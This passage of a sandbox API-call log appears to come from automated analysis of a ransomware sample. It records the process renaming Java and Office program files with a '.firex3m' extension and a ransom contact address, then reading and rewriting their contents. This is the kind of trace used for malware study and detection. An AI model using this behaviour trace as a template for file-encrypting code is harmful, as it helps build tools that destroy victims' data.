dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.443] Sleep (dwMilliseconds=0x1) [0115.452] Sleep (dwMilliseconds=0x1) [0115.498] Sleep (dwMilliseconds=0x1) [0115.521] Sleep (dwMilliseconds=0x1) [0115.908] Sleep (dwMilliseconds=0x1) [0117.155] Sleep (dwMilliseconds=0x1) [0117.169] Sleep (dwMilliseconds=0x1) [0117.186] Sleep (dwMilliseconds=0x1) [0117.562] Sleep (dwMilliseconds=0x1) [0117.656] Sleep (dwMilliseconds=0x1) [0117.677] Sleep (dwMilliseconds=0x1) [0117.688] Sleep (dwMilliseconds=0x1) [0117.702] Sleep (dwMilliseconds=0x1) [0117.719] Sleep (dwMilliseconds=0x1) [0119.198] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt", len=0x45 | out: pbstr=0x573ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 1 [0119.198] GetProcessHeap () returned 0x630000 [0119.198] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x164) returned 0x66a3e0 [0119.198] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0119.244] CloseHandle (hObject=0x6a8) returned 1 [0119.244] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.244] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0119.245] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0119.245] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf9bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME-JAVAFX.txt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THIRDP~2.FIR")) returned 0x6d4f40 [0119.245] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0119.245] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0119.245] GetProcessHeap () returned 0x630000 [0119.245] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7211de0 [0119.245] GetProcessHeap () returned 0x630000 [0119.245] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7157438 [0119.247] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.247] ReadFile (in: hFile=0x6a8, lpBuffer=0x7211de0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7211de0*, lpNumberOfBytesRead=0x573ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0122.487] GetProcessHeap () returned 0x630000 [0122.487] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feec88 [0122.487] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.487] WriteFile (in: hFile=0x6a8, lpBuffer=0x7157438*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7157438*, lpNumberOfBytesWritten=0x573ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0122.487] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.487] WriteFile (in: hFile=0x6a8, lpBuffer=0x7162837*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7162837*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0122.488] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.488] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0122.488] CloseHandle (hObject=0x6a8) returned 1 [0123.100] GetProcessHeap () returned 0x630000 [0123.100] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7157438 | out: hHeap=0x630000) returned 1 [0123.101] GetProcessHeap () returned 0x630000 [0123.101] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7211de0 | out: hHeap=0x630000) returned 1 [0123.102] GetProcessHeap () returned 0x630000 [0123.102] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feec88 | out: hHeap=0x630000) returned 1 [0128.497] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.497] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xf537fd7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xf9e1, dwReserved0=0xa5c7496, dwReserved1=0x7211dd8, cFileName="THIRDPARTYLICENSEREADME-JAVAFX.txt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THIRDP~2.FIR")) returned 0x6d4e00 [0128.498] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0128.498] Sleep (dwMilliseconds=0x1) [0128.539] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar", len=0x31 | out: pbstr=0x573ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 1 [0128.539] GetProcessHeap () returned 0x630000 [0128.539] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xe4) returned 0x66a3e0 [0128.539] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0128.539] CloseHandle (hObject=0x708) returned 1 [0128.539] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.539] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0128.540] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.540] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8e40a9d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8e40a9d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8e66d0e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe6827, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JAVAWS~1.FIR")) returned 0x6d5340 [0128.540] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0128.540] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0128.540] GetProcessHeap () returned 0x630000 [0128.540] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x718938 [0128.541] GetProcessHeap () returned 0x630000 [0128.541] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71c0048 [0128.541] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.541] ReadFile (in: hFile=0x708, lpBuffer=0x718938, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x718938*, lpNumberOfBytesRead=0x573ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0136.701] GetProcessHeap () returned 0x630000 [0136.701] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316e60 [0136.701] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.701] WriteFile (in: hFile=0x708, lpBuffer=0x71c0048*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71c0048*, lpNumberOfBytesWritten=0x573ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0136.701] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.701] WriteFile (in: hFile=0x708, lpBuffer=0x71cb447*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71cb447*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0138.471] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.471] WriteFile (in: hFile=0x708, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0138.471] CloseHandle (hObject=0x708) returned 1 [0138.472] GetProcessHeap () returned 0x630000 [0138.472] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71c0048 | out: hHeap=0x630000) returned 1 [0138.472] GetProcessHeap () returned 0x630000 [0138.472] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718938 | out: hHeap=0x630000) returned 1 [0138.472] GetProcessHeap () returned 0x630000 [0138.472] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316e60 | out: hHeap=0x630000) returned 1 [0138.472] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.472] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8e40a9d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8e40a9d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x187cf6e2, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xe684b, dwReserved0=0xa5c7496, dwReserved1=0x718930, cFileName="javaws.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JAVAWS~1.FIR")) returned 0x6d4f00 [0138.472] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0138.472] Sleep (dwMilliseconds=0x1) [0139.974] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms", len=0x4f | out: pbstr=0x573ff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 1 [0139.974] GetProcessHeap () returned 0x630000 [0139.974] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c68) returned 0x7203db8 [0139.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0142.392] CloseHandle (hObject=0x640) returned 1 [0142.396] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0142.398] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.819] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.819] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe451402c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe451402c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe47e8ce2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x542a, dwReserved0=0x3, dwReserved1=0x800001, cFileName="HomeStudentR_Grace-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HO6A61~1.FIR")) returned 0x6d5000 [0143.820] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0143.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0143.820] GetProcessHeap () returned 0x630000 [0143.820] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5441) returned 0x71e0350 [0143.820] GetProcessHeap () returned 0x630000 [0143.820] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5441) returned 0x71e57a0 [0143.820] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.820] ReadFile (in: hFile=0x640, lpBuffer=0x71e0350, nNumberOfBytesToRead=0x5420, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71e0350*, lpNumberOfBytesRead=0x573ff0c*=0x5420, lpOverlapped=0x0) returned 1 [0145.643] GetProcessHeap () returned 0x630000 [0145.643] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0145.643] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.644] WriteFile (in: hFile=0x640, lpBuffer=0x71e57a0*, nNumberOfBytesToWrite=0x5420, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71e57a0*, lpNumberOfBytesWritten=0x573ff0c*=0x5420, lpOverlapped=0x0) returned 1 [0145.946] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.946] WriteFile (in: hFile=0x640, lpBuffer=0x71eabbf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71eabbf*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0145.946] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.946] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0145.946] CloseHandle (hObject=0x640) returned 1 [0145.946] GetProcessHeap () returned 0x630000 [0145.946] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71e57a0 | out: hHeap=0x630000) returned 1 [0145.947] GetProcessHeap () returned 0x630000 [0145.947] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71e0350 | out: hHeap=0x630000) returned 1 [0145.947] GetProcessHeap () returned 0x630000 [0145.947] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0145.947] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0145.947] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe451402c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe451402c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1cef6987, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x544e, dwReserved0=0xa5c7496, dwReserved1=0x71e0348, cFileName="HomeStudentR_Grace-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HO6A61~1.FIR")) returned 0x6d4e40 [0145.947] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0145.948] Sleep (dwMilliseconds=0x1) [0146.025] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXC", len=0x44 | out: pbstr=0x573ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXC") returned 1 [0146.025] GetProcessHeap () returned 0x630000 [0146.025] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x272c) returned 0x71f7c78 [0146.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0146.052] CloseHandle (hObject=0x6d0) returned 1 [0146.052] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.089] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_col.hxc.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.089] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.090] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9bcfaf5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ONENOT~2.FIR")) returned 0x6d4e00 [0146.090] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0146.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_col.hxc.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0146.090] GetProcessHeap () returned 0x630000 [0146.090] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6ecd750 [0146.090] GetProcessHeap () returned 0x630000 [0146.090] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6ecd9f8 [0146.091] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.091] ReadFile (in: hFile=0x6d0, lpBuffer=0x6ecd750, nNumberOfBytesToRead=0x260, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecd750*, lpNumberOfBytesRead=0x573ff0c*=0x260, lpOverlapped=0x0) returned 1 [0146.094] GetProcessHeap () returned 0x630000 [0146.094] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0146.094] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.094] WriteFile (in: hFile=0x6d0, lpBuffer=0x6ecd9f8*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecd9f8*, lpNumberOfBytesWritten=0x573ff0c*=0x260, lpOverlapped=0x0) returned 1 [0146.095] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.095] WriteFile (in: hFile=0x6d0, lpBuffer=0x6ecdc57*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecdc57*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.095] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.095] WriteFile (in: hFile=0x6d0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.095] CloseHandle (hObject=0x6d0) returned 1 [0146.095] GetProcessHeap () 